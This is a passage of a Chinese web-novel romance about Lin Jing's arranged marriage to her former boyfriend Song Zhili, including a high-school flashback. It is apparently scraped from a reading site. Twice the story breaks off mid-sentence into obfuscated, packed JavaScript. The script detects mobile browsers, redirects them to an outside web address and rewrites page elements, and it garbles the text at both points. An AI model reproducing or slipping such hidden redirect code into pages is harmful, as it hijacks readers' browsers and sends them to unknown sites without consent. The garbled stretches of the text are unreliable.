一个男生用拳头锤了下他的背,说:“可以啊,宋哥,下半场靠你了。” 宋知礼笑了笑,“下半场继续保持节奏。” “包的,兄弟,”那男生回答。 林菁站了半节课,有些累了,加上今天天气闷热,她头有些晕。 她从自己班的物资处拿了瓶水,喝了两口后重新坐在地上休息。 下半场,交换场地。 两班应援队的位置也需要交换。 六班原来位置的遮阳伞拆装困难,没法挪动,只好便宜了下半场的二班应援队。 林菁还原地坐在地上,有些累,她伸出一只手,陆羽薇会意大力将她拔起。 二人随着其他人一起,挪动到另一边的场地。 下半场,双方汗如雨下,最终二班以五分的优势赢了比赛。 友谊第一,比赛第二。 双方队员友好握手拥抱后,比赛结束,下课铃也恰好打响。 晒了一整节课的日光浴,林菁口干舌燥又腿酸,蹲下后顺手拿起刚刚放在左手边的水,喝了一口。 余光里,那个二班扣篮特别狠的男生向她走来,刚刚听李霄何说好像还是二班班长吧。 林菁觉得很奇怪,他走错方向了吧,二班在另一个方向。 下半场运动量大,宋知礼呼吸还有些急促,没缓过来,脖子和脸颊因为运动泛的红还未褪下,整个人散着股热气。 宋知礼停在林菁面前,好笑地看着她。 林菁被盯得莫名其妙,不理解这个男生为什么突然出现在这里。 男生高大挺拔的身躯恰好替林菁挡住了下午的太阳。 林菁觉得奇怪,又喝了口水压压惊。 背着光,她看不见男生的表情。 她只听到头顶悠悠传来一句话,语气凉凉的。 “这是我的水。” 林菁愣在原地,还有半口水含在嘴里,吐也不是,咽也不是,只能迷茫地鼓着腮帮子看着头顶的人。 真是被太阳晒昏头了,忘了换过位置,她自己拿的那瓶水留在原地没拿过来。 她给忘了。 林菁“对不起”的“对”字还未说出口,宋知礼就抬腿走开,甩下一句潇洒的,“没事。” 他弯腰又从箱子里又拿了瓶新的,边喝边走远。 思虑再三,林菁还是把嘴里的水咽下了,在公共场合吐水不太文明。 接着她扭过头,在无人关注的时候呸呸呸了几下,给自己一点心理安慰。 “菁菁,怎么还蹲着呢,咱们回教室吧,”陆羽薇向她走来,拉起了林菁。 林菁回答:“好,我们回吧。” 她拿起那瓶水,在回教室的途中扔进了路边的垃圾桶。 4. 第四章 林菁待人的边界感一直很强,一般人,很难越过她的那堵心墙。 所以,当宋知礼忽然抵住车门质问她的时候,林菁先是慌张,接着低下头,沉默不语。 她没有故意装不认识宋知礼。 她只是没做好跟前男友结婚的准备而已。 在林家,开未婚夫盲盒的时候,她曾赌气地想过,与其嫁给爱情,还不如嫁给陌生人,清清白白纯粹利益关系,何必不清不楚地把爱情和利益混在一起,最后双方都难以收场。 协议婚姻,一纸婚约,脆弱的不堪一击。 当她听爷爷林佑山说需要委屈她嫁给宋家的长孙宋知礼时,她惊讶地瞪大了双眼。 北城很难出现第二个宋家,第二个宋知礼。 她最终接受了这场婚约。 林菁看着车内已经褪去青涩、眉骨锋利的男人,回答:“我没有装作不认识你,我只是……只是害怕……” 害怕你见到我生气。 害怕你跟我重复我从前的种种罪行。 她无法原谅自己,所以暂时无法接纳宋知礼,无法坦然地触及那段回忆。 “害怕什么?”宋知礼追问,他想知道为什么林菁看他的眼神里总是带着闪躲。 他伸出手,紧紧攥住了林菁的手腕,不准她逃离。 林菁的手腕很细,手指纤长白皙,没有戴任何首饰,也没有戴他刚刚送的戒指。 为何她总是这般,拒人千里之外。 入夜,夜凉如水,几阵冷风将林菁的鼻尖冻得泛红。 宋知礼后知后觉,与林菁说话的语气凶了些,像在逼问,而林菁又素来胆小。 是他的错,他不该如此咄咄逼人。 他轻抿了下唇,松了松攥住手腕的力度,只轻轻握住。 林菁眼尾也犯了红,不知是被风吹的,还是被他凶的。 宋知礼看得心里发软,不忍心让林菁继续吹风。 至于他问的问题的答案,他忽然也没那么想知道了。 他站起身,替林菁扣上外套的帽子,说:“如果过去的一切对你而言是负担……” 林菁红着眼睛抬头望向他,一片阴影覆压,她的额头上印了个克制又轻柔的吻。 宋知礼勾起她额前的一缕碎发夹在耳后,继续说:“从前的一切都一笔勾销。” 月色洒满地,今夜回宿舍的路格外漫长。 她只记得宋知礼跟她说的最后一句话。 “反正,我们已成夫妻。” - 这一学期过得很快,林菁在宿舍收拾行李箱,准备回家。 “菁菁,真的不跟我们一起去苏城旅游吗?”徐菲菲双手合十,用祈求的眼神看向她。 两天前,宿舍内的另外三人突发奇想,要在毕业前来一场宿舍毕业旅行,给四年本科生活画上一个圆满的句号。 她们询问林菁去不去,林菁说她放假后得赶紧回家,家里有事。 另外三人便只好自己买了去苏城的车票。 林菁望着徐菲菲,摇摇头,“我真的必须按时回家。” 若是出去旅游一趟,会赶不上自己的订婚宴的。 徐菲菲苦求无果,只好放弃。 裴嘉乐从上铺探出头,与林菁开玩笑:“菁菁,老实交代,着急回家干什么,是不是有了新欢不要我们这群旧爱了?” 徐菲菲拉长尾音,“哦”了一声,也狡黠地看着林菁。 林菁将衣服下摆往下拽了拽,心虚地挡住自己的口袋,口袋里藏着结婚证。 她干巴巴地解释:“真没有。” 徐菲菲摆摆手,“算了算了,实在没空咱们下次再宿舍四个人一起旅游吧,反正还有一个学期。” 徐菲菲拍了拍手,抬头喊裴嘉乐,“嘉乐,你说我喊我男朋友跟咱们一起出去旅游怎么样?多个人更热闹。” 裴嘉乐缩回自己的床帘内,“我们又不认识你男朋友。” 她拒绝。 徐菲菲“哎呀”一声,走到裴嘉乐的床底下,抬手晃她的帘子,劝道:“出去旅游一趟就熟了。” 徐菲菲既想跟男朋友在一起,又想跟舍友一起玩,才想出来这个绝妙的主意。 裴嘉乐摇头,说:“我和以安不当电灯泡,有他没我,有我没他。” 王以安是她们的另一个舍友,在准备考公,此刻在图书馆学习。 徐菲菲喜欢这种闺蜜与男友争风吃醋的情节,这显得她在大家的心中很重要。 见裴嘉乐坚决不同意,徐菲菲也就打消了这个主意,开始安慰裴嘉乐。 “哎呀,我给你开玩笑呢,你至于吗?”徐菲菲笑着说。 林菁收拾完行李时,另外二人还在打闹。 林家的司机已经等在了校门口,林菁与舍友们说了声“明年见”后,出了门。 来接她的是林家的老员工,姓张。 “小姐,我替您拿,”一出校门,张叔就从林菁手里接过行李箱和书包。 张叔今年五十出头,从林菁很小的时候起,就在林家当司机,长得很面善,也很好说话。 “张叔叔,好久不见。” “小姐,您在学校都瘦了,要是让林总还有夫人见了,又该心疼了。” 林菁闻言笑了笑,“还好吧。” 林家二子林建华,也就是林菁的父亲,只有林菁这一个宝贝女儿。 即便林菁生母早逝,林建华另娶她人,他也没有再要孩子,继母也对这个女儿关爱有加,这早成了北城豪门圈的一段佳话,人人艳羡。 “张叔,送我去云璟府吧。” 这是高考后林菁购置的一处大平层,在北城郊区,只有林菁一个人住。 不等张叔发问,林菁就解释道:“今天太晚了,等过两天我再去看爸爸和秦阿姨。” 张叔点点头,“也好,小姐今天也累了。” - 屋内,一切都还是原来的模样。 她躺倒在沙发上,放空自己。 今天是一月十五日,距离她的订婚宴,还剩五天。 订婚宴的一切都不需要她操心,她只需要按时出现就好。 秦阿姨约她后天下午去试敬酒服,她答应了。 自成年后,她争取到了些许自由,让林建华和秦瑶允许她在外独住。 平日里,她也懒得回林家,路途太远。 学校偶尔放长假的时候,她就会回到这儿,一个人待着。 她拿出手机,点开微信,往下划了几页,那儿躺着一行联系人。 黑色头像,点进去只有几行简短的打招呼消息。 第一条是: 【我是宋知礼】 点进他的朋友圈,只有一行黑线。 二人吃饭那天的晚上,林菁收到了他的好友申请。 当时,林菁很紧张地等待他的下一句话。 结果等了十分钟,也没有其他消息发来,界面空荡荡的,让林菁略有些恼意。 怎么就不说话了。 她过了半小时才回过神,会不会宋知礼在等她的自我介绍。 毕竟他说了重新开始。 重新开始确实得先互相自我介绍。 但这样会不会显得有点傻? 林菁踌躇不定,点进聊天页面又退出,打完字又删除,又过了半个小时,终于鼓起勇气发出去一句。 【我叫林菁】 接着她迅速暗灭手机,觉得自己说的话像个蠢蛋,木愣愣的。 她顿时懊恼地捂住耳朵,将自己缩进被子里。 几秒后,被子外面的手机屏幕一亮。 宋知礼秒回,且连发两条。 【嗯】 【我知道啊】 林菁:“……” 这一段对话就这么戛然而止,一直停留在林菁的主页,一点点被其他消息压下去。 现在林菁得特意去翻才能找到这四行消息。 林菁放下手机,看着天花板,不禁想到那日宋知礼在校门口说的话。 他说的一笔勾销,意思是他觉得他们可以重新开始一段感情,还是说他们可以和谐愉快地合作,履行协议婚姻。 林菁没想明白。 她的思绪不禁飘到三年前。 回到一切还未开始的时候。 - 三年前。 早上五点半,林菁迷迷糊糊地起床。 由于走读,她每天要比其他同学早起二十分钟。 她收拾完去餐厅,破天荒的,大清早,今天她爸也起床了。 林建华正坐在餐桌边,戴着一副眼镜,手边摆着份金融报。 林佑山有两个儿子,大儿子林建峰年少有为,颇受重视,有望继承林家产业。 二儿子林建华是个学艺术的,在国外混了个硕士文凭,半路出家在林氏集团混了个闲职,但依旧满腔热血,渴望与他大哥打擂台赛,争上一争。 这份金融报也不知道他看不看得懂。 “菁菁起床了啊,快来吃早饭,”林建华招呼道。 林菁:“爸,你今天起得好早。” “今天要开会,我得提早做做准备。” 在老爷子面前大展身手的机会可不多,他今天一定要闪耀林氏,将他大哥衬得黯淡无光。 林菁这才发现,不到六点,她爸已经在家里穿上了西装,提前熟悉会议氛围。 林菁赞美他:“爸爸工作辛苦了。” 林建华点点头,“你好好学习,就是对爸爸最好的报答。” 林菁吃了小半个三明治就不吃了。 她早上总是没胃口,不爱吃早饭。 她与林建华说了声再见后便出了门。 林建华朝她挥挥手,继续看手里的金融报。 张叔已经等在了门口。 除了开学报道那日,其余日子都是张叔送她去上学。 张叔比秦阿姨好说话,不会把车开进学校,林菁想在哪下就能在哪下。 今天周一,住宿的学生有很多今早返校的,校门口有些拥堵。 “张叔,靠边停车吧,太堵了。” 林菁打开车门,背上书包,向校门走去。 今天,她穿了条粉色的长裙,裙摆刚到小腿。 这条裙子是秦阿姨去年送给她的生日礼物,包装精美,是一个奢牌的走秀款。 可惜,秦阿姨买的尺码不太对,偏小了些,太贴合她的身材,尤其是上半身有点紧。 生日当天,她不好拂了阿姨的心意,换上试了试,家里人都夸这条裙子好看,衬她的肤色。 她只能将心中的想法吞下,接受了这份昂贵的礼物。 不远处的绿荫树下,一辆不起眼的黑色大众里,一位妇人坐在驾驶座,穿着睡衣,犯困伸了个懒腰。 宋知礼坐在副驾,正慢条斯理吃他的早饭。 陈湘看了眼时间,拍了拍儿子的肩。 “知礼,边走边吃吧,你要迟到了。” 宋知礼听话地点点头,“妈,下次早上让司机送我就好。” 陈湘叹了口气,“那你不是住校嘛,要一周看不到你,想多陪你一会儿。” 高中的孩子最辛苦了,每日起早贪黑,陈湘心疼孩子。 宋知礼拿了书包还有没吃完的早饭下车,“妈,我去上学了。” 陈湘给他打气:“加油吧,少年。” 他独自走在路上,将最后一口早饭吃光。 远处,一道粉色的倩影在人群中很醒目。 他最近总是偶遇到这个六班的女生。 食堂、体育课、阶梯教室…… 在人多的地方,他总是能从人群中认出她。 她脖子修长,在人群中站姿舒展,像一只白鹤。 很难不注意到她。 宋知礼一直维持着很远的距离,懒散地跟在林菁后面。 他看到林菁的粉色裙摆随着双腿的交替,小幅度地游动,像池塘中荡开的涟漪。 距离高一教学楼还有一段距离的时候,忽然,早读铃声敲响了。 “我靠,哪个混蛋把上课铃往前调了一分多钟!” 附近一个男生盯着手表愤愤不平。 他们每天早上上学的时间都精准到秒,铃声会在秒针转到哪里的时候响起,他们都一清二楚。 百密一疏,精密计算败给了突然抽风的铃声。 目之所及,所有人都背着书包狂奔起来。 林菁也是。 今天的铃声提早响,她慌了神,立马跑起来。 她不想迟到,今天早读是英语,他们班的英语老师很严格,她害怕。 她弯曲手肘,立马奔跑起来,没装多少东西的书包在她的背后一上一下地颠簸。 书包侧面放着的学生卡因为颠簸也跳了起来,在拥挤的人群中落在楼梯拐角,未被发现。 宋知礼走到楼梯口“喂”一声喊她时,那抹粉色早已一溜烟跑没影了。 杵在林菁掉落的学生卡旁边的,不止宋知礼。 另一个男生也在楼梯口停下脚步,弯下腰,准备捡。 宋知礼手速比他快。 他伸出两指,猛地从地上勾起卡套带子,在另一个男生惊讶的目光中潇洒起身。 “我来还吧,”宋知礼也不知道自己在抢什么,也许是他最近忽然变得热心又善良。 另一个男生缓缓点头,失去了一次做好人好事的机会。 林菁丝毫未察觉自己的学生卡神不知鬼不觉地掉了。 北城四中不怎么查学生卡,那塞在书包侧面的学生卡已经很久没用过了。 课间,班主任来宣布第一次月考的时间定了,就在下周三和周四。 “啊——不要啊——”陆羽薇抱着头,发出惊天咆哮,她不想考试。 她抓住了前桌李霄何的肩,像个冷宫嫔妃似的发疯摇晃。 “李霄何,你能不能去老师办公室把卷子偷了,”陆羽薇神经质地问。 李霄何嫌弃地拍掉她的手,“滚滚滚,我要有偷卷子的能力,早去抢银行了。” 大材小用。 今天的李霄何似乎心不在焉,明显藏着事,上课时每隔三分钟就要换个坐姿。 陆羽薇看黑板的视线老是被活动筋骨的李霄何挡住,终于没忍住狠狠锤了他一下,“屁股痒?” 李霄何摇摇头,在课桌上趴了下去。 又过了两节课,李霄何的心事终于憋不住了。 他转过头,面向林菁,郑重其事地说:“我得跟你说件事,但你不能跟别人说是我说的。” 陆羽薇也凑上来,“什么什么?” 林菁合上书,认真地看着他,“你说。” “就是……就是,你知道韩嚣会吗?” 北城四中高二年级,有个著名的混混,叫韩嚣会,是个体育生,体育特招进的四中。 他在高二组了个混混帮,他们组合的名字也叫韩嚣会。 也就是说,韩嚣会可以是一个人,也可以是一群人。 韩嚣会这个人,性格暴戾,阴晴不定。 曾经有一个人问“韩嚣会的大哥是不是叫韩嚣?” 被他打了一顿,从此深刻记住了他的三字大名。 林菁摇摇头,说:“没听说过。” 林菁不怎么关心校园新闻。 “你不知道也正常,”李霄何说,毕竟韩嚣会的事迹太血腥太暴力,他们男生聊韩嚣会也只在宿舍私下讨论,生怕被那帮人听见,惹上麻烦,平白无故挨揍。 李霄何压低了声音,挪了挪椅子,离后桌的两个人更近一些。 “我的一个远方表哥,跟韩嚣会里的一个小啰啰是朋友,昨天我在食堂恰好碰到他,他问我你们班是不是有个叫林菁的,我说对啊,校花嘛,我那个表哥说他听说韩嚣会最近想跟这个校花表白。” “这件事只有韩嚣会的心腹知道,他也是听墙角听来的,他不让我跟别人说是他透露的,反正你最近小心点,这个韩嚣会跟普通男生不一样,”李霄何坦诚地说。 他思来想去还是得告诉林菁,让她最近最好别一个人单独行动。 陆羽薇“切”了一声,“有那么可怕吗?不就是有个男的暗恋我们家菁菁吗?喜欢我家菁菁的男的能从这儿排到校门口。” 李霄何摇摇头,“韩嚣会不一样。” 四中是北城市最好的高中,录取分数线最高,大部分人即使人品素质低劣,至少脑子是正常的。 而韩嚣会,很不幸,就是那个小部分人,头脑简单,四肢发达。 虽然李霄何没见过韩嚣会真人,但根据他们男生宿舍的每日夜谈,对韩嚣会这个人也能有个大致的画像。 林菁点点头,“我知道了,会小心的。” 从小到大,她拒绝过的男生两只手都数不过来。 她胆子小,第一次在幼儿园被小男生堵在墙角的时候,她害怕地哭出了声,把幼儿园老师招过来才逃过一劫。 再后来,她拒绝的经验逐渐丰富,也不再把这烦心事放在心上。 午饭后,林菁拿着水杯去饮水房接水。 狭窄的饮水间内只有她一人,大部分人都还没吃完午饭。 林菁的余光里,看到门口多了两个人影,堵在那儿,不动弹。 不会是那个叫韩嚣会的组合要登场了吧? 阴暗狭窄的饮水房没有窗户,让人很没有安全感,林菁装作没发现似的抬头活动下脖子,实则迅速扫了眼饮水房内有没有摄影头。 看到闪光的红点后,她松了口气。 拧紧保温杯盖子后,她若无其事地走向门口。 门口站岗的二人戴着墨镜,头发抹了发泥,搞成了两个复制粘贴的微分碎盖,二人挺胸直立,目视对方。 林菁抱着水杯,侧身要从他们中间走过。 “慢着。” 一声富有磁性的低沉气泡音响起。 只见一人身形高大,胳膊肌肉微微隆起,肩上披着一件校服,如炬的目光充满侵略性。 他挡住了林菁的去路,林菁往后退了两步。 又退了两步。 …… 那人带着一队人马,浩浩荡荡,拥挤在门口。 但相同点是,所有人都做了三七分微分碎盖头,像出自同一个理发师之手。 一眼望过去,很壮观。 林菁:“麻烦让一让。” 为首那人还真侧身给她让出一条路,并自我介绍。 “我叫韩嚣会。” 依旧气泡音。 林菁点点头,拔腿就走,可惜晚了一步。 背后传来一句深情嘹亮的告白。 “我爱你!” 林菁觉得李霄何对韩嚣会的评价非常贴合。 确实看着有些神经病。 林菁抱住自己的水杯,摇头,“抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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为了以防万一,宋知礼还是快步走了过去。 饮水房门口堵了一堆人,宋知礼听说过韩嚣会的名号,认出了其中几个刺头。 宋知礼面色一变,快步走到他们旁边,盯着那群衣服穿的乱七八糟的混混,阴沉沉地问:“你……” 你们在做什么? 未等他说完,就见一抹粉色的身影从他旁边闪过。 林菁气得要命,出来接个水遇到一大群神经病,怎么上个学破事这么多呢? 她听到一旁传来一声“你……”。 是个活跃的,她都气成这样了还想继续推销自己。 真讨厌。 林菁随意扫了眼那个男生,一抬头先看到他的发型,比较有创意,不是流水线的微分碎盖,衣服也穿得整齐。 但那又如何。 林菁气笑了,不等他说完直接打断。 “我不喜欢你。” 宋知礼:“?” 宋知礼缓缓抬手,将林菁的卡呈到她眼皮底下,“捡到的,你的卡。” 林菁瞬间回过神来,这才仔细看面前这个男生的脸,是篮球赛上那个二班的班长。 她像只忽然被戳破皮的河豚,肉眼可见的缩了回去,白皙的脸羞红,耳朵发烫。 天呐,她刚说了什么。 林菁恨不得找个地缝钻进去,她污蔑了一个做善事的好心人,一个大好人。 “谢谢……啊不,抱歉,”林菁很不好意思,从宋知礼手里接过学生卡。 宋知礼站在一旁,云淡风轻地答:“不用客气,也不用道歉。” 他弯下腰,低头与林菁对视,用手指了指旁边那乌泱泱的一大群人。 “他们是不是欺负你了?告诉我。” 林菁望向他的眼睛,他的眼睛是淡褐色的,有些内双,眉毛很浓,显出少年气。 林菁皱皱眉,她其实也说不来,这算欺负吗? “可能欺负了吧,”林菁不太确定地对宋知礼说。 她脸依旧是红彤彤的,像个熟透的苹果。 面前这个没见过几面的男生,好像是来给他撑腰的,林菁后知后觉地想到。 饮水间内的韩嚣会走了出来,他摆摆手:“妹子,妹子,真没想欺负你。” 他有苦说不出,懊恼地一拍自己大腿。 他正常说话完全没有气泡音,也并不低沉,刚刚都是他为了吸引女孩子硬装的。 他把肩上的外套披风也取了,随手扔给旁边的小弟。 见韩嚣会靠近,宋知礼下意识将林菁护在身后。 林菁躲他背后探出一双眼睛。 她闻到了宋知礼身上好闻的味道,像清冷的雪松。 韩嚣会解释:“算了妹子,我跟你说实话吧。” “开学那天,你妈不是能开车进学校吗?” 林菁点点头,懒得反驳家庭人物关系。 “你爸妈一定跟校领导认识吧。” 林菁又点头。 韩嚣会猛地一拍手,得意地看向自己的兄弟们,眼神里写着,看,我就说吧。 “我们就是……就是想着您能不能看上我们中的哪个,然后帮我们从校领导那儿拿个东西。” 这一计策,又称“色诱”,他这几天精细挑出了所有韩嚣会内长得齐头整脸的男的,费了大力气统一妆造,还央求了其中一个兄弟的女朋友给他们整时髦发型。 结果,还是失败了。 韩嚣会无奈地叹了口气。 林菁心想,原来李霄何的小道消息传的有些变样了。 不是一个韩嚣会要给他表白,是一群韩嚣会要跟她表白。 林菁一下子被逗乐了,躲在宋知礼背后笑。 这一笑,她的下巴一不小心碰到了宋知礼的脊背,蜻蜓点水。她立马往后退了一小步,与男生拉开些距离。 少年的脊骨直挺,肩膀宽厚,感受到这一秒隔着衣衫的触碰,他微微侧头,看了一眼背后的林菁。 林菁神色乖巧,一双眼眸亮晶晶的,像黑夜里璀璨的明珠。 宋知礼问韩嚣会:“拿什么东西?” 无论是什么原因,都不应该将女孩子堵在饮水间吧。 韩嚣会有些不好意思,说:“……就一违章电器。” 宋知礼:“手机还是游戏机?” 韩嚣会挠了挠头,“……洗衣机。” 滚筒洗衣机。 这是他们韩嚣会的公共物资,是他们的镇会之宝。 学校宿舍楼的洗衣机不够用,他们韩嚣会的人就集资自己买了个二手的洗衣机,精心藏匿,每天出门前都用床单包着。 上周,校领导突然查寝,洗衣机还在运作,震得地板轰轰响。 校领导寻着震源,摸到他们宿舍,一掀床单,看到了掉漆的滚筒洗衣机。 校领导们不辞辛苦,齐心协力把硕大的洗衣机收走了,现在不知道被锁在哪里。 他们实在想念洗衣机,这才想色诱林菁,找个强有力的靠山,救回洗衣机。 宋知礼听得嘴角抽了抽。 为了这个荒缪的理由,来为难一个小姑娘,就因为林菁的家庭跟校领导认识,就惹上了这瘫麻烦事。 真是群神经病。 宋知礼从口袋里拿出手机,划了几下。 韩嚣会指着宋知礼的手机,咋咋呼呼地说:“兄弟,你也有啊。” 四中不允许带手机,但规矩是规矩,执行归执行。 宋知礼将手机放下耳朵旁。 “喂,学生会吗,高一饮水房门口,有人聚众闹事,对,还堵人了。” 韩嚣会大吼一声,指着他骂道:“喂,你不讲武德!” 他恶狠狠地蹬了宋知礼和林菁一眼,放了句狠话:“你们给我等着。” 接着,带着他的一大帮兄弟们逃离作案现场。 三秒后,韩嚣会的人全跑没影了。 走廊上,只剩下林菁与宋知礼二人。 林菁仰着头,看着还宋知礼未放下手机的手,笑道:“你在骗人。” 今天学校里在试验信号屏蔽器,早读课下课就用广播全校通知了,上午的课堂上老师想放个视频都加载不出来。 也就韩嚣会那群逃课的不知道。 宋知礼将手机放回口袋,“对,吓唬一下他们。” 谁让他们吓唬你呢。 林菁说:“谢谢你。” 无论是帮她吓唬人,还是帮她捡校园卡,都得谢。 林菁问:“你叫什么名字?” 其实,她篮球赛那天就知道了,他叫宋知礼。林菁还是想听他自己说一次。 “宋知礼,知书达礼的知礼,你呢。” 宋知礼也是明知故问。 “我叫林菁,草木茂盛的的菁,很高兴认识你。” 林菁的嗓音甜甜的,像吃了糖。 待林菁的身影消失在楼梯口,宋知礼才折返回教室。 他感觉到自己的心跳与往日里有些不同,心弦颤动,雀跃的种子在他心中生根发芽。 他并不知道,这就是少年时期的怦然心动。 今日阳光明媚,宋知礼抬头,透过窗户,遥望烈日。 5. 第五章 在自己家里躺了一整天,林菁什么事都没做。 宿舍四人群里,徐菲菲正在激动地疯狂刷屏,与另外二人讨论去苏城旅游要带什么东西。 王以安今天依旧在图书馆学习,没及时回她,徐菲菲就疯狂拍一拍,势必要将她喊出来。 【以安,咱们沐浴露、洗发水用分装瓶装吧,这样轻一点】 【以安以安你人呢】 【我记得你柜子里有分装瓶,我能拿吗】 【我数三个数,你要是还不理我我就自己拿啦】 【3、2、1】 【好了,我拿走了,爱你呦】 【一想到还有三天就要去苏城玩了,我就好激动,啊啊啊啊啊】 她发的都是跟去苏城旅游相关的消息,林菁就没有在群里说话。 王以安忙着学习,也没回,就裴嘉乐偶尔回两条。 宿舍群里消息太多,林菁划了几下就懒得看了。 睡到十二点,她终于拉开房间内的窗帘。 梳妆台旁边摆着一个全身镜,镜框里,站定的小姑娘长发如瀑,发尾微微弯曲,脸在毛茸茸的睡衣衬托下,显得更加的小巧。 脸颊上,还有几道睡出来的压痕,还未消散,显得楚楚可人。 今天要去试敬酒服,还要见秦瑶,她没忘。 她打开衣帽间的灯,透过透明的柜门,扫过所有衣服。 左边柜子里放的是她上学经常穿的衣服,舒适又日常,很多长裙堆放在一起,都是年轻活泼的颜色。 右边柜子里放的是各种礼服,作为林家的女儿,她偶尔需要跟着参加典礼,每件晚礼服上都有亮晶晶的闪片或钻石,光彩夺目。 为了方便下午试衣服,林菁没穿内衣,换成了胸贴。 她试了几条裙子都不满意,她的衣服大部分都稚气,显得太乖巧太年轻。 都要结婚了,总得成熟些,不能再像个小孩,林菁心想。 她往衣帽间里面走,找那些她只买不穿的衣服。 一套黑色裙装吸引了她的注意,上半身是略紧身的上衣,方领,腰线两侧有蝴蝶绑带,是带收腰的设计。下装是条黑色包臀针织裙,带一条细红色腰带。 这条裙子不是林菁平日的风格,她也忘了是什么时候在什么契机下买的。 她拿起这套衣服换上,上衣的领子有点低,她伸出手把领子往上揪了揪。 包臀裙下,两条腿雪白修长。 她快速给自己画了个妆,涂了红唇,踹掉拖鞋,踏上旁边的一双红色细高跟。 镜子里的人,明眸皓齿,明艳动人,一颦一笑皆是风情万种。 她满意地对着镜子点点头,散下头发,拎着包出门。 大门砰的一声合上,过了几分钟后,又传来指纹验证的声音。 林菁搓搓手,钻进衣帽间披了件厚大衣。 现在是一月份,她忘了,下楼被冷风吹得膝盖发红她才想起来。 大衣并不怎么保暖,只能起一个造型上和心理上的作用。 好在没走几步路,林菁就上车了。 来接她的依旧是张叔。 “小姐,夫人给您发了消息,您没回,夫人着急见您,给我打电话了,”张叔笑着说,秦夫人对这个继女是真的百般呵护,他们这些在林家工作的人都看在眼里。 张叔的电话还没有挂断,他转过身,将手机递给后座的林菁。 林菁犹豫一下,还是接了。 “菁菁,阿姨好久没看见你了,路上注意安全,店里见啊。” 秦瑶的声音从话筒里传来,很亲切,很熟络,从嘈杂的背景音里,林菁可以猜出来,她又带了那几个好友一起来。 林菁感到一股燥意,将宽厚的的大衣松了松,任衣服从肩上滑落,露出一片雪白的肌肤。 她应付着,语气尽可能柔和,道:“秦阿姨,一会儿见。” 北城最大的礼服租赁店,今日闭门不接客。 店员已经将店内所有珍藏礼服全部拿出,依次排在厅内,只能主角登场。 店内,大理石桌面上,摆着几杯咖啡。 几位贵妇人围坐闲聊。 “林夫人,你们家菁菁的婚事有了着落,你和林先生也可以放心了。” 说话的是俞夫人,与秦瑶是多年好友,老公是做水产、海运生意的,家里有好几艘游轮,时不时的就会邀请好友们一起出海度假。 秦瑶幸福地笑了笑,“是啊,尘埃落定后,我和她爸爸晚上睡觉都睡得更香了。” 几个夫人闻言都掩唇低笑,一派祥和。 俞夫人忽然想到从前的事,说:“之前,我们还打趣要让菁菁嫁给我家颂扬的。” 秦瑶笑着皱起眉头,佯装要捂住俞夫人的嘴,她道:“那都是从前说的玩笑话,日后可不许再提了,让知礼听了,该怎么想,是吧?” 她说着,看向不远处坐在沙发上的宋知礼。 宋知礼今日穿着件黑色丝绒西装,原本低头看着店内的宣传册,闻言抬了眼,瞥了眼秦瑶后,嗓子眼里挤个“嗯”字。 是秦瑶给他打的电话,让他过来一起帮林菁挑礼服。 不知道林菁知不知道他在。 过了十分钟,服务员打开了门口的玻璃门,林菁拎着包走进来。 高跟鞋踩在瓷砖上,发出清脆的声响,那群妇人都好奇地看向她。 林家的这个女儿,她们好几年没见过了。 俞夫人赞道:“不愧是女大十八变,现在菁菁长这么漂亮了,都快认不出来了。” 仇妇人拉住林菁的手,“哎呦哎呦”地宝贝地不行,“菁菁都这么大了,我印象里还是那个宴会上被人抱在怀里的小女孩。” 这些年,林菁长得越发出挑,眉眼越来越像她早逝的钢琴家妈妈,有出淤泥而不染的气质。 秦瑶有半年没见到林菁了,上一次见林菁还是在林老爷子家吃饭,匆匆见了一面。 秦瑶上下扫了眼林菁,她没见过林菁穿这种风格的衣服,在她的印象里林菁的穿衣风格偏淑女乖巧,她也只会给林菁买淑女型的衣服,今日的林菁没有按照她想要的样子出现。 大约是孩子长大了,有自己的想法了。 她没忍住皱了皱眉,又欲盖弥彰地笑了笑,隐藏脸上的情绪。 她没有站起,只招招手,亲切地招呼林菁,“菁菁,来,你看看喜欢什么风格的礼服,让他们给你拿了试。” 宋知礼从林菁进门的那一刻起,就一直盯着林菁看。 今日的林菁特别漂亮,是与平日里不同的漂亮,宋知礼却看着皱了皱眉。 他从人群后站了起来,打断了秦瑶的话。 “秦阿姨,我带菁菁看吧,您歇着。” 秦瑶笑了笑,同意了。 俞夫人也觉得让宋知礼带林菁看衣服更好,“新婚夫妻,是得多交流熟悉下,去吧去吧。” 林菁简单与各位夫人打了个招呼,就走向旁边的衣架。 她边走边大致扫面前的款式,逐渐离那群夫人越来越远。 宋知礼一直跟在林菁身后,贴得很近。 林菁能感觉到,男人温热的呼吸打在她的肩颈,一阵痒意。 她问服务员:“只有这些款式吗?” 服务员说,还有些别的风格的礼服放在楼上,是否需要帮她拿到楼下来。 林菁摇摇头,“没事,直接带我上去吧。” 她与宋知礼沿着木制的楼梯上楼后,二楼的门关上,将两波人隔绝开。 二楼的服务员替二人倒了水,林菁先坐下翻看起了手边的宣传册。 宋知礼没有立刻坐下,而是脱下了自己的外套,递给林菁。 林菁抬头,用圆溜溜的大眼睛迷茫地看他,又低头看看自己的裙子,拒绝了。 “我没走光啊。” 宋知礼无奈地笑了笑,被这回答逗乐了,闭了闭眼缓一缓才说:“你腿不冷吗?” 还有露出来的脖子。 他看着都冷。 店内的空调温度开的并不高,他穿这么多也仅觉得温度刚刚好,林菁只穿这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275973|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点怎么会不冷。 他刚已经拦住一个服务员,让调高温度。 